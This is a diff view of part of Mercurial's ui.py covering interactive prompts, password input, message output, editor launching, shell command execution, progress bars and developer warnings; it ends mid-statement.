1632 def _readline(self, prompt=b' ', promptopts=None):
1634 def _readline(self, prompt=b' ', promptopts=None):
1633 # Replacing stdin/stdout temporarily is a hard problem on Python 3
1635 # Replacing stdin/stdout temporarily is a hard problem on Python 3
1634 # because they have to be text streams with *no buffering*. Instead,
1636 # because they have to be text streams with *no buffering*. Instead,
1635 # we use rawinput() only if call_readline() will be invoked by
1637 # we use rawinput() only if call_readline() will be invoked by
1636 # PyOS_Readline(), so no I/O will be made at Python layer.
1638 # PyOS_Readline(), so no I/O will be made at Python layer.
1637 usereadline = (
1639 usereadline = (
1638 self._isatty(self._fin)
1640 self._isatty(self._fin)
1639 and self._isatty(self._fout)
1641 and self._isatty(self._fout)
1640 and procutil.isstdin(self._fin)
1642 and procutil.isstdin(self._fin)
1641 and procutil.isstdout(self._fout)
1643 and procutil.isstdout(self._fout)
1642 )
1644 )
1643 if usereadline:
1645 if usereadline:
1644 try:
1646 try:
1645 # magically add command line editing support, where
1647 # magically add command line editing support, where
1646 # available
1648 # available
1647 import readline
1649 import readline
1648
1650
1649 # force demandimport to really load the module
1651 # force demandimport to really load the module
1650 readline.read_history_file
1652 readline.read_history_file
1651 # windows sometimes raises something other than ImportError
1653 # windows sometimes raises something other than ImportError
1652 except Exception:
1654 except Exception:
1653 usereadline = False
1655 usereadline = False
1654
1656
1655 if self._colormode == b'win32' or not usereadline:
1657 if self._colormode == b'win32' or not usereadline:
1656 if not promptopts:
1658 if not promptopts:
1657 promptopts = {}
1659 promptopts = {}
1658 self._writemsgnobuf(
1660 self._writemsgnobuf(
1659 self._fmsgout, prompt, type=b'prompt', **promptopts
1661 self._fmsgout, prompt, type=b'prompt', **promptopts
1660 )
1662 )
1661 self.flush()
1663 self.flush()
1662 prompt = b' '
1664 prompt = b' '
1663 else:
1665 else:
1664 prompt = self.label(prompt, b'ui.prompt') + b' '
1666 prompt = self.label(prompt, b'ui.prompt') + b' '
1665
1667
1666 # prompt ' ' must exist; otherwise readline may delete entire line
1668 # prompt ' ' must exist; otherwise readline may delete entire line
1667 # - http://bugs.python.org/issue12833
1669 # - http://bugs.python.org/issue12833
1668 with self.timeblockedsection(b'stdio'):
1670 with self.timeblockedsection(b'stdio'):
1669 if usereadline:
1671 if usereadline:
1670 self.flush()
1672 self.flush()
1671 prompt = encoding.strfromlocal(prompt)
1673 prompt = encoding.strfromlocal(prompt)
1672 line = encoding.strtolocal(pycompat.rawinput(prompt))
1674 line = encoding.strtolocal(pycompat.rawinput(prompt))
1673 # When stdin is in binary mode on Windows, it can cause
1675 # When stdin is in binary mode on Windows, it can cause
1674 # raw_input() to emit an extra trailing carriage return
1676 # raw_input() to emit an extra trailing carriage return
1675 if pycompat.oslinesep == b'\r\n' and line.endswith(b'\r'):
1677 if pycompat.oslinesep == b'\r\n' and line.endswith(b'\r'):
1676 line = line[:-1]
1678 line = line[:-1]
1677 else:
1679 else:
1678 self._fout.write(pycompat.bytestr(prompt))
1680 self._fout.write(pycompat.bytestr(prompt))
1679 self._fout.flush()
1681 self._fout.flush()
1680 line = self._fin.readline()
1682 line = self._fin.readline()
1681 if not line:
1683 if not line:
1682 raise EOFError
1684 raise EOFError
1683 line = line.rstrip(pycompat.oslinesep)
1685 line = line.rstrip(pycompat.oslinesep)
1684
1686
1685 return line
1687 return line
1686
1688
1687 def prompt(self, msg, default=b"y"):
1689 def prompt(self, msg, default=b"y"):
1688 """Prompt user with msg, read response.
1690 """Prompt user with msg, read response.
1689 If ui is not interactive, the default is returned.
1691 If ui is not interactive, the default is returned.
1690 """
1692 """
1691 return self._prompt(msg, default=default)
1693 return self._prompt(msg, default=default)
1692
1694
1693 def _prompt(self, msg, **opts):
1695 def _prompt(self, msg, **opts):
1694 default = opts['default']
1696 default = opts['default']
1695 if not self.interactive():
1697 if not self.interactive():
1696 self._writemsg(self._fmsgout, msg, b' ', type=b'prompt', **opts)
1698 self._writemsg(self._fmsgout, msg, b' ', type=b'prompt', **opts)
1697 self._writemsg(
1699 self._writemsg(
1698 self._fmsgout, default or b'', b"\n", type=b'promptecho'
1700 self._fmsgout, default or b'', b"\n", type=b'promptecho'
1699 )
1701 )
1700 return default
1702 return default
1701 try:
1703 try:
1702 r = self._readline(prompt=msg, promptopts=opts)
1704 r = self._readline(prompt=msg, promptopts=opts)
1703 if not r:
1705 if not r:
1704 r = default
1706 r = default
1705 if self.configbool(b'ui', b'promptecho'):
1707 if self.configbool(b'ui', b'promptecho'):
1706 self._writemsg(
1708 self._writemsg(
1707 self._fmsgout, r or b'', b"\n", type=b'promptecho'
1709 self._fmsgout, r or b'', b"\n", type=b'promptecho'
1708 )
1710 )
1709 return r
1711 return r
1710 except EOFError:
1712 except EOFError:
1711 raise error.ResponseExpected()
1713 raise error.ResponseExpected()
1712
1714
1713 @staticmethod
1715 @staticmethod
1714 def extractchoices(prompt):
1716 def extractchoices(prompt):
1715 """Extract prompt message and list of choices from specified prompt.
1717 """Extract prompt message and list of choices from specified prompt.
1716
1718
1717 This returns tuple "(message, choices)", and "choices" is the
1719 This returns tuple "(message, choices)", and "choices" is the
1718 list of tuple "(response character, text without &)".
1720 list of tuple "(response character, text without &)".
1719
1721
1720 >>> ui.extractchoices(b"awake? $$ &Yes $$ &No")
1722 >>> ui.extractchoices(b"awake? $$ &Yes $$ &No")
1721 ('awake? ', [('y', 'Yes'), ('n', 'No')])
1723 ('awake? ', [('y', 'Yes'), ('n', 'No')])
1722 >>> ui.extractchoices(b"line\\nbreak? $$ &Yes $$ &No")
1724 >>> ui.extractchoices(b"line\\nbreak? $$ &Yes $$ &No")
1723 ('line\\nbreak? ', [('y', 'Yes'), ('n', 'No')])
1725 ('line\\nbreak? ', [('y', 'Yes'), ('n', 'No')])
1724 >>> ui.extractchoices(b"want lots of $$money$$?$$Ye&s$$N&o")
1726 >>> ui.extractchoices(b"want lots of $$money$$?$$Ye&s$$N&o")
1725 ('want lots of $$money$$?', [('s', 'Yes'), ('o', 'No')])
1727 ('want lots of $$money$$?', [('s', 'Yes'), ('o', 'No')])
1726 """
1728 """
1727
1729
1728 # Sadly, the prompt string may have been built with a filename
1730 # Sadly, the prompt string may have been built with a filename
1729 # containing "$$" so let's try to find the first valid-looking
1731 # containing "$$" so let's try to find the first valid-looking
1730 # prompt to start parsing. Sadly, we also can't rely on
1732 # prompt to start parsing. Sadly, we also can't rely on
1731 # choices containing spaces, ASCII, or basically anything
1733 # choices containing spaces, ASCII, or basically anything
1732 # except an ampersand followed by a character.
1734 # except an ampersand followed by a character.
1733 m = re.match(br'(?s)(.+?)\$\$([^$]*&[^ $].*)', prompt)
1735 m = re.match(br'(?s)(.+?)\$\$([^$]*&[^ $].*)', prompt)
1734 msg = m.group(1)
1736 msg = m.group(1)
1735 choices = [p.strip(b' ') for p in m.group(2).split(b'$$')]
1737 choices = [p.strip(b' ') for p in m.group(2).split(b'$$')]
1736
1738
1737 def choicetuple(s):
1739 def choicetuple(s):
1738 ampidx = s.index(b'&')
1740 ampidx = s.index(b'&')
1739 return s[ampidx + 1 : ampidx + 2].lower(), s.replace(b'&', b'', 1)
1741 return s[ampidx + 1 : ampidx + 2].lower(), s.replace(b'&', b'', 1)
1740
1742
1741 return (msg, [choicetuple(s) for s in choices])
1743 return (msg, [choicetuple(s) for s in choices])
1742
1744
1743 def promptchoice(self, prompt, default=0):
1745 def promptchoice(self, prompt, default=0):
1744 """Prompt user with a message, read response, and ensure it matches
1746 """Prompt user with a message, read response, and ensure it matches
1745 one of the provided choices. The prompt is formatted as follows:
1747 one of the provided choices. The prompt is formatted as follows:
1746
1748
1747 "would you like fries with that (Yn)? $$ &Yes $$ &No"
1749 "would you like fries with that (Yn)? $$ &Yes $$ &No"
1748
1750
1749 The index of the choice is returned. Responses are case
1751 The index of the choice is returned. Responses are case
1750 insensitive. If ui is not interactive, the default is
1752 insensitive. If ui is not interactive, the default is
1751 returned.
1753 returned.
1752 """
1754 """
1753
1755
1754 msg, choices = self.extractchoices(prompt)
1756 msg, choices = self.extractchoices(prompt)
1755 resps = [r for r, t in choices]
1757 resps = [r for r, t in choices]
1756 while True:
1758 while True:
1757 r = self._prompt(msg, default=resps[default], choices=choices)
1759 r = self._prompt(msg, default=resps[default], choices=choices)
1758 if r.lower() in resps:
1760 if r.lower() in resps:
1759 return resps.index(r.lower())
1761 return resps.index(r.lower())
1760 # TODO: shouldn't it be a warning?
1762 # TODO: shouldn't it be a warning?
1761 self._writemsg(self._fmsgout, _(b"unrecognized response\n"))
1763 self._writemsg(self._fmsgout, _(b"unrecognized response\n"))
1762
1764
1763 def getpass(self, prompt=None, default=None):
1765 def getpass(self, prompt=None, default=None):
1764 if not self.interactive():
1766 if not self.interactive():
1765 return default
1767 return default
1766 try:
1768 try:
1767 self._writemsg(
1769 self._writemsg(
1768 self._fmsgerr,
1770 self._fmsgerr,
1769 prompt or _(b'password: '),
1771 prompt or _(b'password: '),
1770 type=b'prompt',
1772 type=b'prompt',
1771 password=True,
1773 password=True,
1772 )
1774 )
1773 # disable getpass() only if explicitly specified. it's still valid
1775 # disable getpass() only if explicitly specified. it's still valid
1774 # to interact with tty even if fin is not a tty.
1776 # to interact with tty even if fin is not a tty.
1775 with self.timeblockedsection(b'stdio'):
1777 with self.timeblockedsection(b'stdio'):
1776 if self.configbool(b'ui', b'nontty'):
1778 if self.configbool(b'ui', b'nontty'):
1777 l = self._fin.readline()
1779 l = self._fin.readline()
1778 if not l:
1780 if not l:
1779 raise EOFError
1781 raise EOFError
1780 return l.rstrip(b'\n')
1782 return l.rstrip(b'\n')
1781 else:
1783 else:
1782 return encoding.strtolocal(getpass.getpass(''))
1784 return encoding.strtolocal(getpass.getpass(''))
1783 except EOFError:
1785 except EOFError:
1784 raise error.ResponseExpected()
1786 raise error.ResponseExpected()
1785
1787
1786 def status(self, *msg, **opts):
1788 def status(self, *msg, **opts):
1787 """write status message to output (if ui.quiet is False)
1789 """write status message to output (if ui.quiet is False)
1788
1790
1789 This adds an output label of "ui.status".
1791 This adds an output label of "ui.status".
1790 """
1792 """
1791 if not self.quiet:
1793 if not self.quiet:
1792 self._writemsg(self._fmsgout, type=b'status', *msg, **opts)
1794 self._writemsg(self._fmsgout, type=b'status', *msg, **opts)
1793
1795
1794 def warn(self, *msg, **opts):
1796 def warn(self, *msg, **opts):
1795 """write warning message to output (stderr)
1797 """write warning message to output (stderr)
1796
1798
1797 This adds an output label of "ui.warning".
1799 This adds an output label of "ui.warning".
1798 """
1800 """
1799 self._writemsg(self._fmsgerr, type=b'warning', *msg, **opts)
1801 self._writemsg(self._fmsgerr, type=b'warning', *msg, **opts)
1800
1802
1801 def error(self, *msg, **opts):
1803 def error(self, *msg, **opts):
1802 """write error message to output (stderr)
1804 """write error message to output (stderr)
1803
1805
1804 This adds an output label of "ui.error".
1806 This adds an output label of "ui.error".
1805 """
1807 """
1806 self._writemsg(self._fmsgerr, type=b'error', *msg, **opts)
1808 self._writemsg(self._fmsgerr, type=b'error', *msg, **opts)
1807
1809
1808 def note(self, *msg, **opts):
1810 def note(self, *msg, **opts):
1809 """write note to output (if ui.verbose is True)
1811 """write note to output (if ui.verbose is True)
1810
1812
1811 This adds an output label of "ui.note".
1813 This adds an output label of "ui.note".
1812 """
1814 """
1813 if self.verbose:
1815 if self.verbose:
1814 self._writemsg(self._fmsgout, type=b'note', *msg, **opts)
1816 self._writemsg(self._fmsgout, type=b'note', *msg, **opts)
1815
1817
1816 def debug(self, *msg, **opts):
1818 def debug(self, *msg, **opts):
1817 """write debug message to output (if ui.debugflag is True)
1819 """write debug message to output (if ui.debugflag is True)
1818
1820
1819 This adds an output label of "ui.debug".
1821 This adds an output label of "ui.debug".
1820 """
1822 """
1821 if self.debugflag:
1823 if self.debugflag:
1822 self._writemsg(self._fmsgout, type=b'debug', *msg, **opts)
1824 self._writemsg(self._fmsgout, type=b'debug', *msg, **opts)
1823 self.log(b'debug', b'%s', b''.join(msg))
1825 self.log(b'debug', b'%s', b''.join(msg))
1824
1826
1825 # Aliases to defeat check-code.
1827 # Aliases to defeat check-code.
1826 statusnoi18n = status
1828 statusnoi18n = status
1827 notenoi18n = note
1829 notenoi18n = note
1828 warnnoi18n = warn
1830 warnnoi18n = warn
1829 writenoi18n = write
1831 writenoi18n = write
1830
1832
1831 def edit(
1833 def edit(
1832 self,
1834 self,
1833 text,
1835 text,
1834 user,
1836 user,
1835 extra=None,
1837 extra=None,
1836 editform=None,
1838 editform=None,
1837 pending=None,
1839 pending=None,
1838 repopath=None,
1840 repopath=None,
1839 action=None,
1841 action=None,
1840 ):
1842 ):
1841 if action is None:
1843 if action is None:
1842 self.develwarn(
1844 self.develwarn(
1843 b'action is None but will soon be a required '
1845 b'action is None but will soon be a required '
1844 b'parameter to ui.edit()'
1846 b'parameter to ui.edit()'
1845 )
1847 )
1846 extra_defaults = {
1848 extra_defaults = {
1847 b'prefix': b'editor',
1849 b'prefix': b'editor',
1848 b'suffix': b'.txt',
1850 b'suffix': b'.txt',
1849 }
1851 }
1850 if extra is not None:
1852 if extra is not None:
1851 if extra.get(b'suffix') is not None:
1853 if extra.get(b'suffix') is not None:
1852 self.develwarn(
1854 self.develwarn(
1853 b'extra.suffix is not None but will soon be '
1855 b'extra.suffix is not None but will soon be '
1854 b'ignored by ui.edit()'
1856 b'ignored by ui.edit()'
1855 )
1857 )
1856 extra_defaults.update(extra)
1858 extra_defaults.update(extra)
1857 extra = extra_defaults
1859 extra = extra_defaults
1858
1860
1859 if action == b'diff':
1861 if action == b'diff':
1860 suffix = b'.diff'
1862 suffix = b'.diff'
1861 elif action:
1863 elif action:
1862 suffix = b'.%s.hg.txt' % action
1864 suffix = b'.%s.hg.txt' % action
1863 else:
1865 else:
1864 suffix = extra[b'suffix']
1866 suffix = extra[b'suffix']
1865
1867
1866 rdir = None
1868 rdir = None
1867 if self.configbool(b'experimental', b'editortmpinhg'):
1869 if self.configbool(b'experimental', b'editortmpinhg'):
1868 rdir = repopath
1870 rdir = repopath
1869 (fd, name) = pycompat.mkstemp(
1871 (fd, name) = pycompat.mkstemp(
1870 prefix=b'hg-' + extra[b'prefix'] + b'-', suffix=suffix, dir=rdir
1872 prefix=b'hg-' + extra[b'prefix'] + b'-', suffix=suffix, dir=rdir
1871 )
1873 )
1872 try:
1874 try:
1873 with os.fdopen(fd, 'wb') as f:
1875 with os.fdopen(fd, 'wb') as f:
1874 f.write(util.tonativeeol(text))
1876 f.write(util.tonativeeol(text))
1875
1877
1876 environ = {b'HGUSER': user}
1878 environ = {b'HGUSER': user}
1877 if b'transplant_source' in extra:
1879 if b'transplant_source' in extra:
1878 environ.update(
1880 environ.update(
1879 {b'HGREVISION': hex(extra[b'transplant_source'])}
1881 {b'HGREVISION': hex(extra[b'transplant_source'])}
1880 )
1882 )
1881 for label in (b'intermediate-source', b'source', b'rebase_source'):
1883 for label in (b'intermediate-source', b'source', b'rebase_source'):
1882 if label in extra:
1884 if label in extra:
1883 environ.update({b'HGREVISION': extra[label]})
1885 environ.update({b'HGREVISION': extra[label]})
1884 break
1886 break
1885 if editform:
1887 if editform:
1886 environ.update({b'HGEDITFORM': editform})
1888 environ.update({b'HGEDITFORM': editform})
1887 if pending:
1889 if pending:
1888 environ.update({b'HG_PENDING': pending})
1890 environ.update({b'HG_PENDING': pending})
1889
1891
1890 editor = self.geteditor()
1892 editor = self.geteditor()
1891
1893
1892 self.system(
1894 self.system(
1893 b"%s \"%s\"" % (editor, name),
1895 b"%s \"%s\"" % (editor, name),
1894 environ=environ,
1896 environ=environ,
1895 onerr=error.CanceledError,
1897 onerr=error.CanceledError,
1896 errprefix=_(b"edit failed"),
1898 errprefix=_(b"edit failed"),
1897 blockedtag=b'editor',
1899 blockedtag=b'editor',
1898 )
1900 )
1899
1901
1900 with open(name, 'rb') as f:
1902 with open(name, 'rb') as f:
1901 t = util.fromnativeeol(f.read())
1903 t = util.fromnativeeol(f.read())
1902 finally:
1904 finally:
1903 os.unlink(name)
1905 os.unlink(name)
1904
1906
1905 return t
1907 return t
1906
1908
1907 def system(
1909 def system(
1908 self,
1910 self,
1909 cmd,
1911 cmd,
1910 environ=None,
1912 environ=None,
1911 cwd=None,
1913 cwd=None,
1912 onerr=None,
1914 onerr=None,
1913 errprefix=None,
1915 errprefix=None,
1914 blockedtag=None,
1916 blockedtag=None,
1915 ):
1917 ):
1916 """execute shell command with appropriate output stream. command
1918 """execute shell command with appropriate output stream. command
1917 output will be redirected if fout is not stdout.
1919 output will be redirected if fout is not stdout.
1918
1920
1919 if command fails and onerr is None, return status, else raise onerr
1921 if command fails and onerr is None, return status, else raise onerr
1920 object as exception.
1922 object as exception.
1921 """
1923 """
1922 if blockedtag is None:
1924 if blockedtag is None:
1923 # Long cmds tend to be because of an absolute path on cmd. Keep
1925 # Long cmds tend to be because of an absolute path on cmd. Keep
1924 # the tail end instead
1926 # the tail end instead
1925 cmdsuffix = cmd.translate(None, _keepalnum)[-85:]
1927 cmdsuffix = cmd.translate(None, _keepalnum)[-85:]
1926 blockedtag = b'unknown_system_' + cmdsuffix
1928 blockedtag = b'unknown_system_' + cmdsuffix
1927 out = self._fout
1929 out = self._fout
1928 if any(s[1] for s in self._bufferstates):
1930 if any(s[1] for s in self._bufferstates):
1929 out = self
1931 out = self
1930 with self.timeblockedsection(blockedtag):
1932 with self.timeblockedsection(blockedtag):
1931 rc = self._runsystem(cmd, environ=environ, cwd=cwd, out=out)
1933 rc = self._runsystem(cmd, environ=environ, cwd=cwd, out=out)
1932 if rc and onerr:
1934 if rc and onerr:
1933 errmsg = b'%s %s' % (
1935 errmsg = b'%s %s' % (
1934 procutil.shellsplit(cmd)[0],
1936 procutil.shellsplit(cmd)[0],
1935 procutil.explainexit(rc),
1937 procutil.explainexit(rc),
1936 )
1938 )
1937 if errprefix:
1939 if errprefix:
1938 errmsg = b'%s: %s' % (errprefix, errmsg)
1940 errmsg = b'%s: %s' % (errprefix, errmsg)
1939 raise onerr(errmsg)
1941 raise onerr(errmsg)
1940 return rc
1942 return rc
1941
1943
1942 def _runsystem(self, cmd, environ, cwd, out):
1944 def _runsystem(self, cmd, environ, cwd, out):
1943 """actually execute the given shell command (can be overridden by
1945 """actually execute the given shell command (can be overridden by
1944 extensions like chg)"""
1946 extensions like chg)"""
1945 return procutil.system(cmd, environ=environ, cwd=cwd, out=out)
1947 return procutil.system(cmd, environ=environ, cwd=cwd, out=out)
1946
1948
1947 def traceback(self, exc=None, force=False):
1949 def traceback(self, exc=None, force=False):
1948 """print exception traceback if traceback printing enabled or forced.
1950 """print exception traceback if traceback printing enabled or forced.
1949 only to call in exception handler. returns true if traceback
1951 only to call in exception handler. returns true if traceback
1950 printed."""
1952 printed."""
1951 if self.tracebackflag or force:
1953 if self.tracebackflag or force:
1952 if exc is None:
1954 if exc is None:
1953 exc = sys.exc_info()
1955 exc = sys.exc_info()
1954 cause = getattr(exc[1], 'cause', None)
1956 cause = getattr(exc[1], 'cause', None)
1955
1957
1956 if cause is not None:
1958 if cause is not None:
1957 causetb = traceback.format_tb(cause[2])
1959 causetb = traceback.format_tb(cause[2])
1958 exctb = traceback.format_tb(exc[2])
1960 exctb = traceback.format_tb(exc[2])
1959 exconly = traceback.format_exception_only(cause[0], cause[1])
1961 exconly = traceback.format_exception_only(cause[0], cause[1])
1960
1962
1961 # exclude frame where 'exc' was chained and rethrown from exctb
1963 # exclude frame where 'exc' was chained and rethrown from exctb
1962 self.write_err(
1964 self.write_err(
1963 b'Traceback (most recent call last):\n',
1965 b'Traceback (most recent call last):\n',
1964 encoding.strtolocal(''.join(exctb[:-1])),
1966 encoding.strtolocal(''.join(exctb[:-1])),
1965 encoding.strtolocal(''.join(causetb)),
1967 encoding.strtolocal(''.join(causetb)),
1966 encoding.strtolocal(''.join(exconly)),
1968 encoding.strtolocal(''.join(exconly)),
1967 )
1969 )
1968 else:
1970 else:
1969 output = traceback.format_exception(exc[0], exc[1], exc[2])
1971 output = traceback.format_exception(exc[0], exc[1], exc[2])
1970 self.write_err(encoding.strtolocal(''.join(output)))
1972 self.write_err(encoding.strtolocal(''.join(output)))
1971 return self.tracebackflag or force
1973 return self.tracebackflag or force
1972
1974
1973 def geteditor(self):
1975 def geteditor(self):
1974 '''return editor to use'''
1976 '''return editor to use'''
1975 if pycompat.sysplatform == b'plan9':
1977 if pycompat.sysplatform == b'plan9':
1976 # vi is the MIPS instruction simulator on Plan 9. We
1978 # vi is the MIPS instruction simulator on Plan 9. We
1977 # instead default to E to plumb commit messages to
1979 # instead default to E to plumb commit messages to
1978 # avoid confusion.
1980 # avoid confusion.
1979 editor = b'E'
1981 editor = b'E'
1980 elif pycompat.isdarwin:
1982 elif pycompat.isdarwin:
1981 # vi on darwin is POSIX compatible to a fault, and that includes
1983 # vi on darwin is POSIX compatible to a fault, and that includes
1982 # exiting non-zero if you make any mistake when running an ex
1984 # exiting non-zero if you make any mistake when running an ex
1983 # command. Proof: `vi -c ':unknown' -c ':qa'; echo $?` produces 1,
1985 # command. Proof: `vi -c ':unknown' -c ':qa'; echo $?` produces 1,
1984 # while s/vi/vim/ doesn't.
1986 # while s/vi/vim/ doesn't.
1985 editor = b'vim'
1987 editor = b'vim'
1986 else:
1988 else:
1987 editor = b'vi'
1989 editor = b'vi'
1988 return encoding.environ.get(b"HGEDITOR") or self.config(
1990 return encoding.environ.get(b"HGEDITOR") or self.config(
1989 b"ui", b"editor", editor
1991 b"ui", b"editor", editor
1990 )
1992 )
1991
1993
1992 @util.propertycache
1994 @util.propertycache
1993 def _progbar(self):
1995 def _progbar(self):
1994 """setup the progbar singleton to the ui object"""
1996 """setup the progbar singleton to the ui object"""
1995 if (
1997 if (
1996 self.quiet
1998 self.quiet
1997 or self.debugflag
1999 or self.debugflag
1998 or self.configbool(b'progress', b'disable')
2000 or self.configbool(b'progress', b'disable')
1999 or not progress.shouldprint(self)
2001 or not progress.shouldprint(self)
2000 ):
2002 ):
2001 return None
2003 return None
2002 return getprogbar(self)
2004 return getprogbar(self)
2003
2005
2004 def _progclear(self):
2006 def _progclear(self):
2005 """clear progress bar output if any. use it before any output"""
2007 """clear progress bar output if any. use it before any output"""
2006 if not haveprogbar(): # nothing loaded yet
2008 if not haveprogbar(): # nothing loaded yet
2007 return
2009 return
2008 if self._progbar is not None and self._progbar.printed:
2010 if self._progbar is not None and self._progbar.printed:
2009 self._progbar.clear()
2011 self._progbar.clear()
2010
2012
2011 def makeprogress(self, topic, unit=b"", total=None):
2013 def makeprogress(self, topic, unit=b"", total=None):
2012 """Create a progress helper for the specified topic"""
2014 """Create a progress helper for the specified topic"""
2013 if getattr(self._fmsgerr, 'structured', False):
2015 if getattr(self._fmsgerr, 'structured', False):
2014 # channel for machine-readable output with metadata, just send
2016 # channel for machine-readable output with metadata, just send
2015 # raw information
2017 # raw information
2016 # TODO: consider porting some useful information (e.g. estimated
2018 # TODO: consider porting some useful information (e.g. estimated
2017 # time) from progbar. we might want to support update delay to
2019 # time) from progbar. we might want to support update delay to
2018 # reduce the cost of transferring progress messages.
2020 # reduce the cost of transferring progress messages.
2019 def updatebar(topic, pos, item, unit, total):
2021 def updatebar(topic, pos, item, unit, total):
2020 self._fmsgerr.write(
2022 self._fmsgerr.write(
2021 None,
2023 None,
2022 type=b'progress',
2024 type=b'progress',
2023 topic=topic,
2025 topic=topic,
2024 pos=pos,
2026 pos=pos,
2025 item=item,
2027 item=item,
2026 unit=unit,
2028 unit=unit,
2027 total=total,
2029 total=total,
2028 )
2030 )
2029
2031
2030 elif self._progbar is not None:
2032 elif self._progbar is not None:
2031 updatebar = self._progbar.progress
2033 updatebar = self._progbar.progress
2032 else:
2034 else:
2033
2035
2034 def updatebar(topic, pos, item, unit, total):
2036 def updatebar(topic, pos, item, unit, total):
2035 pass
2037 pass
2036
2038
2037 return scmutil.progress(self, updatebar, topic, unit, total)
2039 return scmutil.progress(self, updatebar, topic, unit, total)
2038
2040
2039 def getlogger(self, name):
2041 def getlogger(self, name):
2040 """Returns a logger of the given name; or None if not registered"""
2042 """Returns a logger of the given name; or None if not registered"""
2041 return self._loggers.get(name)
2043 return self._loggers.get(name)
2042
2044
2043 def setlogger(self, name, logger):
2045 def setlogger(self, name, logger):
2044 """Install logger which can be identified later by the given name
2046 """Install logger which can be identified later by the given name
2045
2047
2046 More than one loggers can be registered. Use extension or module
2048 More than one loggers can be registered. Use extension or module
2047 name to uniquely identify the logger instance.
2049 name to uniquely identify the logger instance.
2048 """
2050 """
2049 self._loggers[name] = logger
2051 self._loggers[name] = logger
2050
2052
2051 def log(self, event, msgfmt, *msgargs, **opts):
2053 def log(self, event, msgfmt, *msgargs, **opts):
2052 """hook for logging facility extensions
2054 """hook for logging facility extensions
2053
2055
2054 event should be a readily-identifiable subsystem, which will
2056 event should be a readily-identifiable subsystem, which will
2055 allow filtering.
2057 allow filtering.
2056
2058
2057 msgfmt should be a newline-terminated format string to log, and
2059 msgfmt should be a newline-terminated format string to log, and
2058 *msgargs are %-formatted into it.
2060 *msgargs are %-formatted into it.
2059
2061
2060 **opts currently has no defined meanings.
2062 **opts currently has no defined meanings.
2061 """
2063 """
2062 if not self._loggers:
2064 if not self._loggers:
2063 return
2065 return
2064 activeloggers = [
2066 activeloggers = [
2065 l for l in pycompat.itervalues(self._loggers) if l.tracked(event)
2067 l for l in pycompat.itervalues(self._loggers) if l.tracked(event)
2066 ]
2068 ]
2067 if not activeloggers:
2069 if not activeloggers:
2068 return
2070 return
2069 msg = msgfmt % msgargs
2071 msg = msgfmt % msgargs
2070 opts = pycompat.byteskwargs(opts)
2072 opts = pycompat.byteskwargs(opts)
2071 # guard against recursion from e.g. ui.debug()
2073 # guard against recursion from e.g. ui.debug()
2072 registeredloggers = self._loggers
2074 registeredloggers = self._loggers
2073 self._loggers = {}
2075 self._loggers = {}
2074 try:
2076 try:
2075 for logger in activeloggers:
2077 for logger in activeloggers:
2076 logger.log(self, event, msg, opts)
2078 logger.log(self, event, msg, opts)
2077 finally:
2079 finally:
2078 self._loggers = registeredloggers
2080 self._loggers = registeredloggers
2079
2081
2080 def label(self, msg, label):
2082 def label(self, msg, label):
2081 """style msg based on supplied label
2083 """style msg based on supplied label
2082
2084
2083 If some color mode is enabled, this will add the necessary control
2085 If some color mode is enabled, this will add the necessary control
2084 characters to apply such color. In addition, 'debug' color mode adds
2086 characters to apply such color. In addition, 'debug' color mode adds
2085 markup showing which label affects a piece of text.
2087 markup showing which label affects a piece of text.
2086
2088
2087 ui.write(s, 'label') is equivalent to
2089 ui.write(s, 'label') is equivalent to
2088 ui.write(ui.label(s, 'label')).
2090 ui.write(ui.label(s, 'label')).
2089 """
2091 """
2090 if self._colormode is not None:
2092 if self._colormode is not None:
2091 return color.colorlabel(self, msg, label)
2093 return color.colorlabel(self, msg, label)
2092 return msg
2094 return msg
2093
2095
2094 def develwarn(self, msg, stacklevel=1, config=None):
2096 def develwarn(self, msg, stacklevel=1, config=None):
2095 """issue a developer warning message
2097 """issue a developer warning message
2096
2098
2097 Use 'stacklevel' to report the offender some layers further up in the
2099 Use 'stacklevel' to report the offender some layers further up in the
2098 stack.
2100 stack.
2099 """
2101 """
2100 if not self.configbool(b'devel', b'all-warnings'):
2102 if not self.configbool(b'devel', b'all-warnings'):
2101 if config is None or not self.configbool(b'devel', config):
2103 if config is None or not self.configbool(b'devel', config):
2102 return
2104 return
2103 msg = b'devel-warn: ' + msg
2105 msg = b'devel-warn: ' + msg
2104 stacklevel += 1 # get in develwarn
2106 stacklevel += 1 # get in develwarn
2105 if self.tracebackflag:
2107 if self.tracebackflag:
2106 util.debugstacktrace(msg, stacklevel, self._ferr, self._fout)
2108 util.debugstacktrace(msg, stacklevel, self._ferr, self._fout)
2107 self.log(
2109 self.log(
2108 b'develwarn',
2110 b'develwarn',
2109 b'%s at:\n%s'
2111 b'%s at:\n%s'
2110 % (msg, b''.join(util.getstackframes(stacklevel))),
2112 % (msg, b''.join(util.getstackframes(stacklevel))),
2111 )
2113 )
2112 else:
2114 else:
2113 curframe = inspect.currentframe()
2115 curframe = inspect.currentframe()
2114 calframe = inspect.getouterframes(curframe, 2)
2116 calframe = inspect.getouterframes(curframe, 2)
2115 fname, lineno, fmsg = calframe[stacklevel][1:4]
2117 fname, lineno, fmsg = calframe[stacklevel][1:4]
2116 fname, fmsg = pycompat.sysbytes(fname), pycompat.sysbytes(fmsg)
2118 fname, fmsg = pycompat.sysbytes(fname), pycompat.sysbytes(fmsg)
2117 self.write_err(b'%s at: %s:%d (%s)\n' % (msg, fname, lineno, fmsg))
2119 self.write_err(b'%s at: %s:%d (%s)\n' % (msg, fname, lineno, fmsg))
2118 self.log(
2120 self.log(
2119 b'develwarn', b'%s at: %s:%d (%s)\n', msg, fname, lineno, fmsg
2121 b'develwarn', b'%s at: %s:%d (%s)\n', msg, fname, lineno, fmsg
2120 )
2122 )
2121
2123
2122 # avoid cycles
2124 # avoid cycles
2123 del curframe
2125 del curframe
2124 del calframe
2126 del calframe
2125
2127
2126 def deprecwarn(self, msg, version, stacklevel=2):
2128 def deprecwarn(self, msg, version, stacklevel=2):
2127 """issue a deprecation warning
2129 """issue a deprecation warning
2128
2130
2129 - msg: message explaining what is deprecated and how to upgrade,
2131 - msg: message explaining what is deprecated and how to upgrade,
2130 - version: last version where the API will be supported,
2132 - version: last version where the API will be supported,
2131 """
2133 """
2132 if not (
2134 if not (
2133 self.configbool(b'devel', b'all-warnings')
2135 self.configbool(b'devel', b'all-warnings')
2134 or self.configbool(b'devel', b'deprec-warn')
2136 or self.configbool(b'devel', b'deprec-warn')
2135 ):
2137 ):
2136 return
2138 return
2137 msg += (
2139 msg += (
2138 b"\n(compatibility will be dropped after Mercurial-%s,"
